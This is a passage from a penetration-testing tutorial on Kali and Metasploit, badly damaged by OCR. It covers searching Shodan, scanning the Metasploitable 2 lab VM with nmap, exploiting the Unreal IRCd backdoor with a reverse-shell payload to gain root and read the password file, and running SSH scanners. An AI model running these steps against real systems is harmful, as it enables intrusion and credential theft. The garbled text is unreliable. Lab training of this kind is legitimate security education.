se auxiliary/gather/shodan_search
msf auxiliary( ] = show options

Module options (auxiliary/gather/shodan_search):

Namea

www . shodant 1Q . Ccom yas

8. Typeiiset Shodan_APiKey <API Key Number>0 and fill inyour APl Key Number.
9. Now set the Query field with the keyword you warnt to search for:



msf auxiliary( ] = set QUERY iomega

QUERY == iomega
mstT auxiliary(

10. Now just type, firuno.

11. After afew seconds, you will receive some statistics on your search keyword:

msf auxiliary( ] = run

il

___________ se walit...

12. And thenyou will see actual returns:

Count ry
Australia
United States

Australia

]
United States

di Arabia

Germany
Leauwa rden Methe rlands
Hun ro Argantina

Bugnos Aires Argentina

If you want to use filter keywords, or get more than one page of responses, you will have to purchase
an unlocked API key.

Conclusion

In this section we learned about the computer search engine Shodan. We |earned that there are
thousands if not millions of unsecured or under secured systems that can be found quickly and easily
on Shodan.

We then learned how to search Shodan using keywords and filters, and finally we learned how to
search Shodan fromwithin Kali using Metaspl oit.

It is critical that companies know what systems that they have publicly available on the web. The
larger the company is, the more common it is that they have systems hanging out there that are



outdated, open or inadequatel y secured.
Shodanis a quick and easy way to find these devices.

| highly recommend security teams (and even small business and home owners) scan their systems to
see what systems they have publicly available on the web.



Part 3 - Attacking Hosts




Chapter 717 Metasploitable Tutorial - Part One
Resources

O http://www.offensi ve-security.conymetaspl oi t-unl eashed/Metaspl oi tabl e

O http://sourceforge.net/ proj ects/metaspl oitabl e/fil es/ M etaspl oitabl e2/

O https://community.rapid7.com/docs/ DOC-1875

O https://community.rapid7.conymessage/4137#4137

I ntroduction
We have covered alot of basic intro, recon and mapping; now let 6slook at attacking hosts.

Metasploitable 2 is a purposefully vulnerable Linux distribution. What this means is that it has known
bugs and vulnerabilities built in on purpose. It is a training platform made to be used with Metasploit
to practice and hone your computer security skillsinalegal environment.

Many think that Linux or Mac OS are much more secure than Windows. But like Windows, if you
dond install system patches and updates, they are equally vulnerable.

The resources above cover alot of information on installing and using Metasploitable 2 so | will not
spend alot of time on this topic.

But we will go through a couple of the exploits using Kali just to see how things work.

Installing and Using M etasploitable
Metasploitable 2 is available as a Virtual Ware VM. Just download the file, unzip it and openit with
VMWare Player. ItGs that simple.

If you are using Virtual Box, Rapid 7 hosts a video showing the full install of Metasploitable on
Virtual Box. A link to the video can found in the Resources section above.

*Warning* i Never run Metasploitable on a public facing system, it is, by design, vulnerabl e

Once Metaspl oitabl e boots up you will come to the main login screen:

Harning : Hever expose this UH to an wuntrusted network?

Contact: nmsfdeviatlmetasploit.comn

Login with msfadmin/nsfadnin to get =started

netasploitable login: _



To login, enter the name and password shown on the menu:
msfadmin/ msfadmin

You wouldnd believe how many budding security professionals have asked for the default login
credentials for Metaspl oitable. And they put it right on the login screen!

Logginginis pretty anti-climactic. You basically just end up at atext based terminal prompt:

i

msfadmin@metasploitable:™5 _

But we are not here to use the system from the keyboard; the goal is to try to get into the system
remotely from our Kali system.

Scanning for Targets

One of the first steps that many security testers use is to do an fi nmap 0 scan to try to determine what
ports are open and hopefully even what services are installed on those ports. If we can determine
open ports and service program versions, then we may be able to exploit a vulnerability in the
service and compromi se the machine.

Letés take alook at Metaspl oitable fromour Kali box.

Thefirst thing to do is to run an nmap scan and see what services are install ed.
0 OpenaTermina window onyour Kali system and type:
nmap -sS -Pn <metasploitableGs | P address>

Put in the IP address for your Metaspl oitable machine, which in our case is 192.168.198.145. If you
didn@ know what |P address your Metasploitable is at, you could always scan a range of addresses
by typing something like, inmap -sS -Pn 192.168.198.1-1500

The +sS0 switch tells nmap to perform a stealth scan. The i+Pno tells nmap not to run a ping scan to
see what systems are up.

Thiswill show us the open ports and try to enumerate what services are running:



~# nmap -sS -Pn 192.168.198

40 { http:/, b.org ) at -23 15:02 EDT

37 :64:4E (VMware)

Nmap donme: 1 IP address (1 host up) scanned in 0.14 seconds
Thatés a | ot of open ports!

Okay we definitely have a lot of possible openings; leté& see if we can find out what services are
running on them. LetGs try the nmap command again, but this time add the fi-A0 switch, which will
perform OS detection and try to determine service versions:

nmap -sS-Pn -A 192.168.198.145

Nmap will churn for awhile as it tries to detect the actual services running on these ports. In a few
mi nutes you will see a screen that |ooks like this:



SERVICE
ftp

Anornymous

om local time.

7.2.8 ( (Ubuntu) DAV/Z)
r Public header in OPTIONS res
= Linux

For each port, we see the port number, service type and even an attempt at the service software
version.

We see several of the normal ports are open in the image above. There are also a lot of services
running at higher ports; onein particular is an Unreal Internet Relay Chat (IRC) program:

tcp open  1rc Unreal ircd
c.M

n: Unreal3.2.8.1. irc.Metasploitable.LAN
— l

1CD.FFFABDA4S . IP

Usually in tutorials they cover going after the main port services first. But | recommend looking at
services sitting at higher ports. What is more likely to be patched and up to date, common core
services or a secondary service that was installed and one time and possi bly forgotten about?

So letés see what we can find out about this Unreal IRC service.

In the picture above we can see the software version, inthis case ilUnreal |RC 3.2.8.1nj Our next step
IS to do a search for vulnerabilities for that software release. Just searching for fiunreal3.2.8.1
exploitso in Google should do the trick.

But why use Google when we can search with Metaspl 0it?

Exploiting the Unreal IRC Service
Letés go ahead and run Metaspl oit:

root@kali:~# msfconsole
Now just use the search command and paste in the service name and program version:



olt/unix/irc/unreal ircd 3281 backdoor 2610-86-12

Backdoor Command Execution

AnUnreal 3.2.8.1 backdoor with areliability rate of fiexcellento!
Thisis great news, as the exploits are ranked according to the probability of success and stability.

If you remember from our introduction to Metasploit, there are several steps to exploiting a
vulnerability:

O«

Picking an Exploit

O«

Setting Exploit Options

O«

Picking a Payl oad

(@4

Setting Payl oad Options

W

O Running the Exploit

~

O Connecting to the Remote System
L etGs step through the process.
PICKING AN EXPLOIT

If we use the fiinfod command we can find out a little bit more about our possible exploit.

msf = info exploit/unix/irc/unreal ircd 3281 backdoor

Doing so we find the following:

This module exploits a malicious backdoor that was added
to the Unreal IRCD 3.2.8.1 download archive. This
backdoor was present in the Unreal3.2.8.1.tar.gz archive
between November 2009 and June 12th 2010.

Unbelievably a backdoor was added to the download archive, whichisé Well, fiunreal 0!
So, letés fuse exploit/unix/irc/unreal _ircd 3281 backdoor6 and check the options:



Module options (exploit/unix/irc/unreal ircd 3281 backdoor):

MName Current Setting Required Description
RHOST yes The target address
RPORT 6667 yes The target port

SETTING EXPLOIT OPTIONS

As you can see there are not a lot of options that need to be set. All that is needed is the remote host
address:

set RHOST 192.168.198.145(Metasploitable IP address)
PICKING A PAYLOAD

Now we need to pick a payload. Just type fishow payloadso to display all payloads that are
compati ble with the expl oit:

osure Date Rank Description
I:l-:;- r-'I'I:I-:'1|_ '-:-: |.__.E:'I"'I'I'I|_:lr:lli_'1 She
normal Jnix Command She
normal  Unix Command She
narmal x Command She
normal » Command, |
normal ¥ Command She
normal  Unix Command
normal x Command She
normal x Command She
normal w Command She

telnet g rmal x Command She

1, Doubl (telnat)

Unfortunately they are all command shells. A Meterpreter shell would be better than a command
shell, and give us more options, but for now we will just use the generic reverse shell. Thiswill drop
us right into aterminal shell with the target when the exploit is finished.

Now, just type:

e set payload cmd/unix/reverse
And then:



yLoad cmd/unix/reverse
ilons
s {exploit/unix/irc/unreal ircd 3281 backdoor):

Current Setting Required Description

8.198.145 yes e target address

e targe

Payload options (cmd/unix/reverse):

Current Setting

SETTING PAYLOAD OPTIONS

For this payload all we need to do is set the LHOST command (the IP of our Kali Metasploit system)
and then do a final fishow optionso to make sure everything is set okay:

et lhost 192.168.1598.146
W OpTlons
Module options (expleoit/unix/irc/unreal ircd 3281 backdoor):

rent Setting Reguired

Our RHOST (target) and LHOST (Kali system) values are correctly set.

We are golden, now just type fiexpl oito:



Notice it says that a session is opened, but then it just gives you a blinking cursor.
You are actually sitting in aterminal shell with the target machine!

As you can see above, | typed fiwhoamio and the target system responded with firooto. The Root user
is the highest level user that you can be on a Linux machine.

It worked!
All the standard Linux commands work with our shell that we have.

For instance we can display the password file:



tem (admin):/var/lib/gnats:/bin/sh

bin/sh

i /bin/bash

ash

/false

We would have to crack the password file to get the actual passwords; we will take alook at thisin
the Password Attacks Chapter.

Conclusion

In this chapter we learned how to use nmap to find open ports on a test target system. e al so |earned
how to find out what services are running on those ports. We then found out how to find and use an
exploit against a vulnerabl e service.

Next we will take a quick look at some of the scanners built into Metasploit that helps us find and
exploit specific services.

Chapter 81 Metasploitable - Part Two: Scanners

Introduction
In the last chapter we looked at scanning the system with Nmap to look for open ports and services.
Thistime we will take alook at some of the built in auxiliary scanners that come with Metaspl oit.

Running our nmap scan produced a huge amount of open ports for us to pick and choose from. What
many people dond know is that Metasploit comes with a substantial amount of built in scanners.
These scanners let us search and recover service information from a single computer or an entire
network!

So | etds get started!



For this tutorial we again will be using our Kali system as the testing platform and the purposefully
vulnerable Metasploitable 2 virtual machine as our target system.

Using a Scanner
To find what scanners are available simply run fimsfconsoled from a Kali command prompt. After

Metaspl oit starts, type fisearch scanner 0 at the prompt:

msf > search scanner

msf = search scanner

Matching M

auxiliary/gather/ci ¢_publ d applications
Citrix MetaFrame ICA Published Applications
auxiliary/gather/en
nner and Enumarator
auxiliary/gather/nat

auxiliary/pro/nex
wpose Scanner Integration

auxiliary/pro/webst

Read down through the massive list to see what is avail able.

For this tutorial we will narrow our attention on the common ports that we found open. As arefresher
here are the results from the nmap scan performed in the | ast chapter:
STATE SERVICE

open ftp

open ssh

open telnet
open smtp
open domain
open http

LetGs focus on Port 22, whichis Secure Shell (ssh).
Go ahead and search Metasploit for ssh scanners:



= search scannar; 7.'-_-}'

Matching Modules

Name

Notice that several are available. We are just |ooking for version information for now, so we will use
the fauxiliary/scanner/ssh/ssh_versiono module.

1. Type, fuse auxiliary/scanner/ssh/ssh_versiono

2. Then fishow optionso to see what options you can use.

3. Inthiscaseall we haveto doisfiset RHOSTS <I P>0 or remote host, whichis our target.
4. Thenjust type fiexploito to run.

ions (auxiliary/scanner/ssh/ss
Current Setting Reguired Description
The target address range or CIDR identifi

The target port
The e F

2.30-0penSSH 4.7pl Debian-Subuntu

We see that our target is indeed running an SSH server and we see the software version:
ASSH-2.0-OpenSSH_4.7p1 Debian-8ubuntuo
We could now use this information to search for an exploit.

Notice the command we set for the remote host is plural, RHOSTS, we can put in a whole range of
systems here enabling us to scan an entire network quickly and easily to find ssh servers.

Now that we have the version number for SSH, we could try to find an exploit for it, or we could use
another auxiliary modul e, fiauxiliary/scanner/ssh/ssh_logino, to try to brute force passwords using
dictionary files. | will leave this exercise up to you.



